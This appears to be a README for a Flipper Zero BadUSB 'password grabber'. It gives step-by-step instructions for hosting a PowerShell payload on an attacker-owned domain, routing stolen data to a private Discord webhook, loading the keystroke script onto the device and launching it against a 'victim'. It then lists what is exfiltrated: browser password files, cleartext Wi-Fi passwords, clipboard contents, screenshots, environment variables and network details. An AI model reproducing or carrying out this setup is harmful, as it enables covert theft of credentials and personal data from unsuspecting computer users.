2.1 KiB
2.1 KiB
Stole pc password with the BadUSB mode
- the script does not require any administrator rights
Installation :
- Step 1: Have a domain name and hosting + a zero flipper
- Step 2: go to my github and get the two files: https://github.com/s4dic/FlipperZero/tree/main/BadUsb/passwordgrabber
- Step 3: Create a Discord server where only you have access ( the server will allow to send the victim's info so be careful: if it's a public server for can be report and ban from discord)
- Step 4: Create a textual channel on the discord you just created then go to the channel settings to create a webhook
- Step 5: Modify the script "payload to upload online.ps1" by changing the URL of the webhook (at the beginning of the script).
- Step 6: Rename the script you just modified with a name following "e" (do not put another name, and the name must be without quotes and without extension), then send your script on hosting, check that your script is accessible with your domainname.com/e
- Step 7: Open the file "mdponly" change the url http://domain.com/e by your URL.
- Step 8: Place the file "mdponly" in your flipper zero in the folder badusb, either in the root of this folder or in a subfolder
- Step 9: Launch the attack (on a vm or on your pc it doesn't matter)
Demo :
Data Exfiltrated :
PC Name- Get the name of PCClipBoard- Get the PC ClipBoardenvironment variables- The environment variables use on the PCPUBLIC IP- Get the Public WAN IPv4PRIVATE IP- Get the Private LAN IPv4Other network information- Other network informations like: Gateway, DNS, DHCP, network card(MAC), IPv6, etc...Installed Software- List all installed application on the PCWeb Browser Password- Get the private file containing web browser password (Works with firefox,Edge & Chrome) (you need copy/past the file to the %appdata% web broser folder to get cleared password)Screen Capture- Get a screen capture before the attack beginsWIFI Password- Get in clear all wifi password stored (if pc don't have a wifi password you get a blank txt file)